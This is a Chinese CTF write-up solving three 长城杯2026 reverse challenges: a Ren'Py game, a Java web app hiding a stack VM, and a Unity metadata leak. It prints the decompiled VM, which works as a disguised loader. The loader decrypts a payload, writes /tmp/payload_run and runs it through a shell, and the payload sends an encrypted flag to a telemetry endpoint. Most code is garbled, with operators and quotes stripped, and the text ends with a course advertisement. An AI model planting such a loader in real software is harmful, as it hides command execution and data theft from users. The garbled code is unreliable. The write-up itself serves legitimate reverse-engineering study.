)
本文为长城杯2026 Reverse方向三道CTF题的完整解题笔记涵盖renpy游戏逆向、Java栈VM逆向分析、Unity非预期解详细讲解加密解密逻辑、代码修正与解题脚本编写思路文末附公众号资源领取方式适合CTF爱好者与逆向学习者参考。前言Reverse方向共三道题目1个签到题 1个错题 1个非预期。DokiLogic逆向分析游戏题目需要对游戏进行逆向分析运行后会让用户输入flag根据文件目录名发现该游戏使用renpy游戏引擎包含大量.py文件每次启动游戏后renpy游戏引擎会加载game目录下的.rpyc文件解题思路修改renpy引擎源代码运行游戏引擎在加载,rpyc文件时将其输出到日志即可得到游戏逻辑代码。题解在renpy/script.py的Script类下的load_file函数中将加载的.rpyc打印到日志运行游戏并查看日志得到包含乱码的Python代码pickle序列化手动删除乱码后可以大致看到代码逻辑user_input renpy.input(just input your answer: , length60) user_input user_input.strip() encry_input l11111l1ll1l(user_input) encry_input ll111l11l111现在需要追溯得到密文ll111l11l111和加密函数l11111l1ll1l()open(/.1.exe/, /wb/) as llll11ll1l11: llll11ll1l11.write(_f) l11l1ll111l1 subprocess.run(/./.1.exe/, stdoutsubprocess.PIPE).stdout/nos.remove(.1.exe) l11l1ll111l1 subprocess.run(/./.1.exe/, stdoutsubprocess.PIPE).stdout ll111l11l111 l11l1ll111l1.decode(/latin-1/) def l11111l1ll1l(ll1llll1l11l): llll1l111ll1 35 return .join((chr(ord(ll1l111ll11l) ^ llll1l111ll1) for ll1l111ll11l in ll1llll1l11l))可以发现程序创建./1.exe程序并执行得到密文后迅速将程序删除。加密逻辑很简单直接将密文异或35即可还原明文。可以编写Python脚本进行文件监控在.1.exe删除前将其拷贝import os import shutil import time while True: if os.path.exists(.1.exe): shutil.copy2(.1.exe, 123.exe) break time.sleep(0.5)拿到.1.exe后UPX脱壳upx.exe -d 123.exe动态调试拿到Buffer数组中的密文然后编写脚本解密即可# def enc(param): # key 35 # return .join((chr(ord(x) ^ key) for x in param)) enc [0x45,0x12,0x14,0x40,0x16,0x10,0x40,0x10,0xE,0x47,0x40,0x11,0x15,0xE,0x17,0x15,0x41,0x12,0xE,0x41,0x10,0x14,0x10,0xE,0x11,0x40,0x42,0x13,0x13,0x42,0x15,0x42,0x15,0x14,0x11,0x12] for x in enc: print(chr((x) ^ 35), end) # f17c53c3-dc26-46b1-b373-2ca00a6a6721notjavaweb❝题目描述公司内部开发了一个Java Web应用不过好像并没有那么简单…逆向分析题目给出两个文件流量包逻辑很清晰是用户与服务端的交互用户调用login接口登录后多次调用/api/reviews/add接口和/api/user/avatar接口然后调用logout接口退出。使用jadx工具对jar文件进行逆向发现com.example.moviereview.analytics包下有一个基于栈结构的VM虚拟机。对其进行交叉引用发现logout接口会调用该虚拟机并将vmContext的内容作为虚拟机的指令和数据分析VmContext类对其appendEvent()方法进行交叉引用发现有三个调用点发现前两个调用点使用了AOP编程切点位于updateAvatar()和addReview()方法即在这两个函数被调用时触发注意这里有个坑addReview()方法实际上并不存在第三个调用点位于/api/reviews/add接口解题思路逻辑非常清晰api/reviews/add接口和api/user/avatar接口的参数会被存储到vmContext作为虚拟机的指令和数据。当用户调用logout接口退出登录时会执行VM虚拟机。我们需要做的就是将流量包的指令集和数据提取出来然后丢进VM虚拟机执行分析其行为。提取流量将用户请求的流量包复制到res.txt文件然后编写Python正则表达式提取参数import re from numpy.core.defchararray import isnumeric log_data open(./res.txt).read() pattern remojiAvatarId/s*:/s*(/d)|content/s*:/s*[^]*/[([^/]])/] results [] for match in re.finditer(pattern, log_data): if match.group(1): results.append(match.group(1)) elif match.group(2): val match.group(2) results.extend([ val ]) for i, val in enumerate(results, 1): print(vmContext.appendEvent(, end) print(val, end) print();) # vmContext.appendEvent(/payload.enc); # vmContext.appendEvent(10); # vmContext.appendEvent(17); # vmContext.appendEvent(0); # vmContext.appendEvent(18); # vmContext.appendEvent(102); # vmContext.appendEvent(18); # vmContext.appendEvent(2); # vmContext.appendEvent(18); # vmContext.appendEvent(25); # vmContext.appendEvent(2); # vmContext.appendEvent(18); # vmContext.appendEvent(25); # vmContext.appendEvent(23); # vmContext.appendEvent(58); # vmContext.appendEvent(18); # vmContext.appendEvent(22); # vmContext.appendEvent(3); # vmContext.appendEvent(18); # vmContext.appendEvent(25); # vmContext.appendEvent(2); # vmContext.appendEvent(18); # vmContext.appendEvent(25); # vmContext.appendEvent(11); # vmContext.appendEvent(20); # vmContext.appendEvent(26); # vmContext.appendEvent(1); # vmContext.appendEvent(18); # vmContext.appendEvent(25); # vmContext.appendEvent(13); # vmContext.appendEvent(2); # vmContext.appendEvent(18); # vmContext.appendEvent(25); # vmContext.appendEvent(23); # vmContext.appendEvent(4); # vmContext.appendEvent(18); # vmContext.appendEvent(25); # vmContext.appendEvent(3); # vmContext.appendEvent(18); # vmContext.appendEvent(25); # vmContext.appendEvent(2); # vmContext.appendEvent(18); # vmContext.appendEvent(25); # vmContext.appendEvent(12); # vmContext.appendEvent(26); # vmContext.appendEvent(55); # vmContext.appendEvent(18); # vmContext.appendEvent(13); # vmContext.appendEvent(20); # vmContext.appendEvent(26); # vmContext.appendEvent(20); # vmContext.appendEvent(1); # vmContext.appendEvent(18); # vmContext.appendEvent(24); # vmContext.appendEvent(20); # vmContext.appendEvent(7); # vmContext.appendEvent(18); # vmContext.appendEvent(21); # vmContext.appendEvent(26); # vmContext.appendEvent(26); # vmContext.appendEvent(26); # vmContext.appendEvent(/tmp/payload_run); # vmContext.appendEvent(15); # vmContext.appendEvent(chmod x /tmp/payload_run); # vmContext.appendEvent(16); # vmContext.appendEvent(/tmp/payload_run); # vmContext.appendEvent(16);根据反编译的VM虚拟机代码我们大致可以得到其流程先读取payload.enc文件然后对其进行操作最后将结果存储到/tmp/payload_run并执行。寻找密文将jar文件解压即可找到notjavaweb/movie/BOOT-INF/classes/payload.enc文件。还原VM虚拟机将VM虚拟机代码放到本地并补环境。Main.java这里记得修改文件路径public class Main { static VmContext vmContext new VmContext(); public static void main(String[] args) { vmContext.appendEvent(./payload.enc); vmContext.appendEvent(10); vmContext.appendEvent(17); vmContext.appendEvent(0); vmContext.appendEvent(18); vmContext.appendEvent(102); vmContext.appendEvent(18); vmContext.appendEvent(2); vmContext.appendEvent(18); vmContext.appendEvent(25); vmContext.appendEvent(2); vmContext.appendEvent(18); vmContext.appendEvent(25); vmContext.appendEvent(23); vmContext.appendEvent(58); vmContext.appendEvent(18); vmContext.appendEvent(22); vmContext.appendEvent(3); vmContext.appendEvent(18); vmContext.appendEvent(25); vmContext.appendEvent(2); vmContext.appendEvent(18); vmContext.appendEvent(25); vmContext.appendEvent(11); vmContext.appendEvent(20); vmContext.appendEvent(26); vmContext.appendEvent(1); vmContext.appendEvent(18); vmContext.appendEvent(25); vmContext.appendEvent(13); vmContext.appendEvent(2); vmContext.appendEvent(18); vmContext.appendEvent(25); vmContext.appendEvent(23); vmContext.appendEvent(4); vmContext.appendEvent(18); vmContext.appendEvent(25); vmContext.appendEvent(3); vmContext.appendEvent(18); vmContext.appendEvent(25); vmContext.appendEvent(2); vmContext.appendEvent(18); vmContext.appendEvent(25); vmContext.appendEvent(12); vmContext.appendEvent(26); vmContext.appendEvent(55); vmContext.appendEvent(18); vmContext.appendEvent(13); vmContext.appendEvent(20); vmContext.appendEvent(26); vmContext.appendEvent(20); vmContext.appendEvent(1); vmContext.appendEvent(18); vmContext.appendEvent(24); vmContext.appendEvent(20); vmContext.appendEvent(7); vmContext.appendEvent(18); vmContext.appendEvent(21); vmContext.appendEvent(26); vmContext.appendEvent(26); vmContext.appendEvent(26);vmContext.appendEvent(“./payload_run”);vmContext.appendEvent(15);vmContext.appendEvent(“chmod x ./payload_run”);vmContext.appendEvent(16);vmContext.appendEvent(“./payload_run”);vmContext.appendEvent(16);VM vm new VM(); vm.generateReport(vmContext.getBuffer()); }}VM.javaimport java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileOutputStream;import java.io.InputStream;import java.util.List;import java.util.Stack;/* loaded from: movie-review-system-1.0.0.jar:BOOT-INF/classes/com/example/moviereview/analytics/AnalyticsReportGenerator.class */publicclass VM {public void generateReport(List events) throws Exception {if (events null || events.isEmpty()) {return;}Stack dataStack new Stack();int pc 0;while (pc events.size()) {Object event events.get(pc);try {} catch (Exception e) {System.err.println([VM ERROR] PC: pc | Exception: e.getMessage());}if (event instanceof String) {dataStack.push(event);} elseif (event instanceof Integer) {int opcode ((Integer) event).intValue();if (opcode 21) {if (!dataStack.isEmpty() (dataStack.peek() instanceof Integer)) {pc ((Integer) dataStack.pop()).intValue();}} elseif (opcode 22) {if (dataStack.size() 2) {int targetPc ((Integer) dataStack.pop()).intValue();int condition ((Integer) dataStack.pop()).intValue();if (condition 0) {pc targetPc;}}} else {executeOpcode(opcode, dataStack);}pc;}pc;}}private void executeOpcode(int opcode, StackObject stack) throws Exception { int idx; ProcessBuilder pb; byte[] resourceData; switch (opcode) { case10: if (!stack.isEmpty() (stack.peek() instanceof String) (resourceData readResource((String) stack.pop())) ! null) { stack.push(resourceData); break; } break; case11: if (stack.size() 2) { Object indexObj stack.pop(); Object dataObj stack.pop(); if ((dataObj instanceofbyte[]) (indexObj instanceof Integer)) { byte[] data (byte[]) dataObj; int idx2 ((Integer) indexObj).intValue(); if (idx2 0 idx2 data.length) { stack.push(data); stack.push(Integer.valueOf(data[idx2])); break; } } } break; case12: if (stack.size() 3) { Object valObj stack.pop(); Object indexObj2 stack.pop(); Object dataObj2 stack.pop(); if ((dataObj2 instanceofbyte[]) (indexObj2 instanceof Integer) (valObj instanceof Integer)) { byte[] data2 (byte[]) dataObj2; int idx3 ((Integer) indexObj2).intValue(); int val ((Integer) valObj).intValue(); if (idx3 0 idx3 data2.length) { data2[idx3] (byte) val; } stack.push(data2); break; } } break; case13: if (stack.size() 2) { Object b stack.pop(); Object a stack.pop(); if ((a instanceof Integer) (b instanceof Integer)) { stack.push(Integer.valueOf(((Integer) a).intValue() ^ ((Integer) b).intValue())); break; } } break; case14: if (stack.size() 2) { Object b2 stack.pop(); Object a2 stack.pop(); if ((a2 instanceof Integer) (b2 instanceof Integer)) { stack.push(Integer.valueOf((((Integer) a2).intValue() * ((Integer) b2).intValue()) 255)); break; } } break; case15: if (stack.size() 2) { Object top stack.pop(); Object next stack.pop(); String path null; byte[] data3 null; if ((top instanceof String) (next instanceofbyte[])) { path (String) top; data3 (byte[]) next; } elseif ((top instanceofbyte[]) (next instanceof String)) { data3 (byte[]) top; path (String) next; } if (path ! null data3 ! null) { writeFile(path, data3); break; } } break; case16: if (!stack.isEmpty() (stack.peek() instanceof String)) { String cmd (String) stack.pop(); try { if (true) { pb new ProcessBuilder(cmd.exe, /c, cmd); } else { pb new ProcessBuilder(/bin/sh, -c, cmd); } pb.redirectErrorStream(true); pb.start(); break; } catch (Exception e) { Runtime.getRuntime().exec(cmd); return; } } break; case17: if (!stack.isEmpty() (stack.peek() instanceofbyte[])) { stack.push(Integer.valueOf(((byte[]) stack.peek()).length)); break; } break; case18: if (!stack.isEmpty() (stack.peek() instanceof String)) { try { String valStr (String) stack.pop(); stack.push(Integer.valueOf(Integer.parseInt(valStr))); break; } catch (NumberFormatException e2) { return; } } break; case19: if (!stack.isEmpty()) { stack.push(stack.peek()); break; } break; case20: if (stack.size() 2) { Object a3 stack.pop(); Object b3 stack.pop(); stack.push(a3); stack.push(b3); break; } break; case23: if (stack.size() 2) { Object b4 stack.pop(); Object a4 stack.pop(); if ((a4 instanceof Integer) (b4 instanceof Integer)) { stack.push(Integer.valueOf(((Integer) a4).intValue() - ((Integer) b4).intValue())); break; }}break;case24:if (stack.size() 2) {Object b5 stack.pop();Object a5 stack.pop();if ((a5 instanceof Integer) (b5 instanceof Integer)) {stack.push(Integer.valueOf(((Integer) a5).intValue() ((Integer) b5).intValue()));break;}}break;case25:if (!stack.isEmpty() (stack.peek() instanceof Integer) (idx ((Integer) stack.pop()).intValue()) 0 idx stack.size()) {stack.push(stack.get((stack.size() - 1) - idx));break;}break;case26:if (!stack.isEmpty()) {stack.pop();break;}break;}}privatebyte[] readResource(String path) throws Exception { if (!path.startsWith(/)) { path / path; } InputStream is getClass().getResourceAsStream(path); if (is ! null) { try { ByteArrayOutputStream buffer new ByteArrayOutputStream(); byte[] data newbyte[16384]; while (true) { int nRead is.read(data, 0, data.length); if (nRead -1) { break; } buffer.write(data, 0, nRead); } byte[] byteArray buffer.toByteArray(); if (is ! null) { is.close(); } return byteArray; } catch (Throwable th) { if (is ! null) { try { is.close(); } catch (Throwable th2) { th.addSuppressed(th2); } } throw th; } } if (is ! null) { is.close(); } returnnull; } private void writeFile(String path, byte[] data) throws Exception { File file new File(path); File parent file.getParentFile(); if (parent ! null !parent.exists()) { parent.mkdirs(); } FileOutputStream fos new FileOutputStream(file); try { fos.write(data); fos.close(); } catch (Throwable th) { try { fos.close(); } catch (Throwable th2) { th.addSuppressed(th2); } throw th; } }}VmContext.javaimport java.util.ArrayList;import java.util.Collections;import java.util.List;/* loaded from: movie-review-system-1.0.0.jar:BOOT-INF/classes/com/example/moviereview/analytics/VmContext.class */publicclass VmContext {privatefinal List buffer Collections.synchronizedList(new ArrayList());public void appendEvent(Object event) { this.buffer.add(event); } public ListObject getBuffer() { returnnew ArrayList(this.buffer); } public void clear() { this.buffer.clear(); }}### 排查问题题目错误 比赛卡在这里一下午运行后发现没有将结果文件成功写出。 ❝ 一段时间苦思冥想、反复检查提取的指令、检查VM虚拟机代码... 我有两个可疑点pointcut的函数不存在实际只存储一次数据。这里的pc为什么有两个执行一次跳2个指令 队友是不是需要改VM虚拟机 我怎么可能VM虚拟机是题目提供的。 最终发现VM虚拟机的代码public void generateReport(List events) throws Exception {if (events null || events.isEmpty()) {return;}Stack dataStack new Stack();int pc 0;while (pc events.size()) {Object event events.get(pc);try {} catch (Exception e) {System.err.println([VM ERROR] PC: pc | Exception: e.getMessage());}if (event instanceof String) {dataStack.push(event);} elseif (event instanceof Integer) {int opcode ((Integer) event).intValue();if (opcode 21) {if (!dataStack.isEmpty() (dataStack.peek() instanceof Integer)) {pc ((Integer) dataStack.pop()).intValue();}} elseif (opcode 22) {if (dataStack.size() 2) {int targetPc ((Integer) dataStack.pop()).intValue();int condition ((Integer) dataStack.pop()).intValue();if (condition 0) {pc targetPc;}}} else {executeOpcode(opcode, dataStack);}pc;}pc;}}遇到数据直接压入datastack栈遇到指令会出现三种情况无条件跳转、条件跳转、指令执行。 而当前的代码逻辑出现两次pc即遇到指令时会多自增一次pc指针。 将其改为正确的逻辑遇到数据、条件跳转失败、指令执行时执行pcpublic void generateReport(List events) throws Exception {if (events null || events.isEmpty()) {return;}Stack dataStack new Stack();int pc 0;while (pc events.size()) {Object event events.get(pc);try {} catch (Exception e) {System.err.println([VM ERROR] PC: pc | Exception: e.getMessage());}if (event instanceof String) {dataStack.push(event);pc;} elseif (event instanceof Integer) {int opcode ((Integer) event).intValue();if (opcode 21) {if (!dataStack.isEmpty() (dataStack.peek() instanceof Integer)) {pc ((Integer) dataStack.pop()).intValue();continue;}} elseif (opcode 22) {if (dataStack.size() 2) {int targetPc ((Integer) dataStack.pop()).intValue();int condition ((Integer) dataStack.pop()).intValue();if (condition 0) {pc targetPc;continue;}}} else {executeOpcode(opcode, dataStack);}pc;}}}运行即可得到payload_run文件。 ### 解密payload_run 将payload_run拖入IDA分析定位关键字符串  发现它会读取flag文件处理后向/api/telemetry接口发送请求在流量包中找到该请求  发现请求体为密文08a76a304f8a7d64baace233c30d8e789e27ec1ae589e7b36252ea00ecf2a9c274b18754f4758095956a08dc1c6793e07cf91658ae232ac3935aa17c03294a625c90ba2ef4b482ffb145388829ed5554分析加密逻辑key算法  iv算法  可以发现这是CBC模式的AES加密算法特征。 魔改AES算法S_BOX、SHIFT和矩阵转换编写脚本解密from binascii import unhexlifykey bytes.fromhex(“4a7f2c91b35ed816fa4309cc7be5283d”)iv bytes.fromhex(“8e1af65530c974bb2d974e1160daa73c”)ct bytes.fromhex(“08a76a304f8a7d64baace233c30d8e78”“9e27ec1ae589e7b36252ea00ecf2a9c”“274b18754f4758095956a08dc1c6793”“e07cf91658ae232ac3935aa17c03294”“a625c90ba2ef4b482ffb145388829ed5554”)RCON [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]SHIFT [0, 3, 1, 2]SBOX [0xC5, 0xEA, 0xB8, 0x6C, 0x91, 0xA2, 0x11, 0x44,0x05, 0xBA, 0x76, 0x99, 0x45, 0x53, 0xEF, 0x54,0xA5, 0xF9, 0x90, 0x06, 0xF6, 0x28, 0xEB, 0x48,0x85, 0x66, 0x64, 0x5C, 0x3A, 0x0E, 0xE7, 0x1B,0xF5, 0x70, 0xDB, 0xA1, 0x6F, 0xE4, 0xCE, 0xCF,0xB6, 0xE2, 0xD9, 0xA4, 0xD2, 0xB2, 0xE9, 0xC7,0xE5, 0x9D, 0xFE, 0x2E, 0xFF, 0x84, 0x09, 0x50,0xD0, 0x41, 0x20, 0x5F, 0xD4, 0x4D, 0xAA, 0x61,0xDD, 0x15, 0x1F, 0x26, 0xCA, 0xFD, 0x1D, 0xBD,0x7A, 0x57, 0xBF, 0x46, 0x40, 0xB3, 0x2A, 0x93,0x96, 0x39, 0x56, 0xBE, 0xCB, 0x9C, 0x9F, 0xF1,0x4E, 0x49, 0x7E, 0x8E, 0xD3, 0xB9, 0xC4, 0xFA,0xD5, 0x67, 0x03, 0x1A, 0x58, 0x55, 0x30, 0x7F,0x32, 0xC3, 0x8F, 0xDF, 0xA3, 0xD1, 0x0F, 0xDA,0x4F, 0x88, 0x6D, 0xC1, 0x37, 0xD6, 0x62, 0x17,0xA7, 0x19, 0x6B, 0x27, 0x98, 0xA9, 0x7D, 0x0C,0x23, 0x82, 0xAD, 0x52, 0x42, 0x68, 0xDE, 0x1E,0xA8, 0x3B, 0x33, 0x3D, 0x43, 0x9B, 0x13, 0x0B,0xF0, 0xCC, 0x8C, 0x01, 0x12, 0x75, 0xEE, 0x47,0x07, 0x8B, 0x14, 0x2B, 0xD8, 0xAE, 0x04, 0x87,0x86, 0xDC, 0xBB, 0xE8, 0xE6, 0x3C, 0x78, 0x77,0xC2, 0xE0, 0x69, 0x29, 0x02, 0xB1, 0x35, 0xB5,0x00, 0x7C, 0x83, 0xC8, 0x18, 0x8A, 0x60, 0x36,0x24, 0xC9, 0xFB, 0x38, 0xAF, 0x80, 0xB0, 0x31,0xCD, 0x59, 0x94, 0xC6, 0x4C, 0xD7, 0xC0, 0x71,0xE1, 0xED, 0x8D, 0x79, 0x3F, 0x4B, 0x72, 0x9E,0x3E, 0x08, 0x2C, 0x9A, 0x0A, 0x63, 0x22, 0x5B,0x1C, 0x5A, 0x25, 0xF8, 0x4A, 0xF7, 0xA0, 0xE3,0x6A, 0x2F, 0x89, 0x74, 0x7B, 0x5E, 0x2D, 0x5D,0xBC, 0x95, 0xA6, 0x0D, 0x16, 0xFC, 0xAC, 0x34,0xF4, 0x51, 0xAB, 0x6E, 0x92, 0xEC, 0xB4, 0x97,0x81, 0x65, 0xF3, 0xB7, 0x73, 0x10, 0x21, 0xF2] AES 基础函数 def gmul(a, b):res 0for _ in range(8):if b 1:res ^ ahi a 0x80a (a 1) 0xffif hi:a ^ 0x1bb 1return resdef xor_bytes(a, b):return bytes(x ^ y for x, y in zip(a, b))def pkcs7_unpad(data):pad data[-1]if pad 1or pad 16:raise ValueError(fbad padding: {pad})return data[:-pad] 魔改 AES-128 Key Schedule def key_expand(key):rk list(key) [0] * (176 - 16)for i in range(4, 44): temp rk[(i - 1) * 4:i * 4] if i % 4 0: temp [ SBOX[temp[1]] ^ RCON[i // 4], SBOX[temp[2]], SBOX[temp[3]], SBOX[temp[0]], ] for j in range(4): rk[i * 4 j] rk[(i - 4) * 4 j] ^ temp[j] return rk 状态矩阵转换 对应 IDA 中那段奇怪的行列转换def bytes_to_state(block):state [0] * 16for r in range(4):for c in range(4):state[r 4 * c] block[4 * r c]return statedef state_to_bytes(state):out [0] * 16for r in range(4):for c in range(4):out[4 * r c] state[r 4 * c]return bytes(out) AES 逆过程 def inv_sbox_table():inv [0] * 256for i, x in enumerate(SBOX):inv[x] ireturn invdef add_round_key(state, round_key, rnd):state state[:]base rnd * 16for r in range(4): for c in range(4): state[r 4 * c] ^ round_key[base 4 * r c] return statedef inv_sub_bytes(state, inv_sbox):return [inv_sbox[x] for x in state]def inv_shift_rows(state):state state[:]for row in range(1, 4): off row * 4 old state[off:off 4] s SHIFT[row] 3 # 加密时是左移 s解密时右移 s state[off:off 4] [old[(i - s) 3] for i in range(4)] return statedef inv_mix_columns(state):state state[:]for i in range(4): a0 state[i] a1 state[i 4] a2 state[i 8] a3 state[i 12] state[i] gmul(14, a0) ^ gmul(11, a1) ^ gmul(13, a2) ^ gmul(9, a3) state[i 4] gmul(9, a0) ^ gmul(14, a1) ^ gmul(11, a2) ^ gmul(13, a3) state[i 8] gmul(13, a0) ^ gmul(9, a1) ^ gmul(14, a2) ^ gmul(11, a3) state[i 12] gmul(11, a0) ^ gmul(13, a1) ^ gmul(9, a2) ^ gmul(14, a3) return statedef decrypt_block(block, round_key, inv_sbox):state bytes_to_state(block)# 最后一轮 AddRoundKey state add_round_key(state, round_key, 10) # 第 9 ~ 1 轮 for rnd in range(9, 0, -1): state inv_shift_rows(state) state inv_sub_bytes(state, inv_sbox) state add_round_key(state, round_key, rnd) state inv_mix_columns(state) # 第 0 轮 state inv_shift_rows(state) state inv_sub_bytes(state, inv_sbox) state add_round_key(state, round_key, 0) return state_to_bytes(state)def decrypt_cbc(ciphertext, key, iv):round_key key_expand(key)inv_sbox inv_sbox_table()plaintext b prev iv for i in range(0, len(ciphertext), 16): block ciphertext[i:i 16] dec decrypt_block(block, round_key, inv_sbox) plaintext xor_bytes(dec, prev) prev block return pkcs7_unpad(plaintext)pt decrypt_cbc(ct, key, iv)print(pt.decode())flag{F1n1ly_Y0u_G0t_Th1s_f1ag_and_f1nd_7h3_TRUTH_D0_Y0u_L1k3_1t?}UnityCore题目描述一个中等难度的逆向非预期dumbcpp_Data/il2cpp_data/Metadata/global-metadata.dat文件泄露了flag学习资源2026年最新版本全网最全的网安视频教程。耗时半年打造之前都是内部资源专业方面绝对可以秒杀国内99%的机构和个人教学全网独一份你不可能在网上找到这么专业的教程。内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频200多G的资源不用担心学不全。包含攻击与防守、漏洞挖掘、CTF比赛等技术点1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传戳下面拿这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源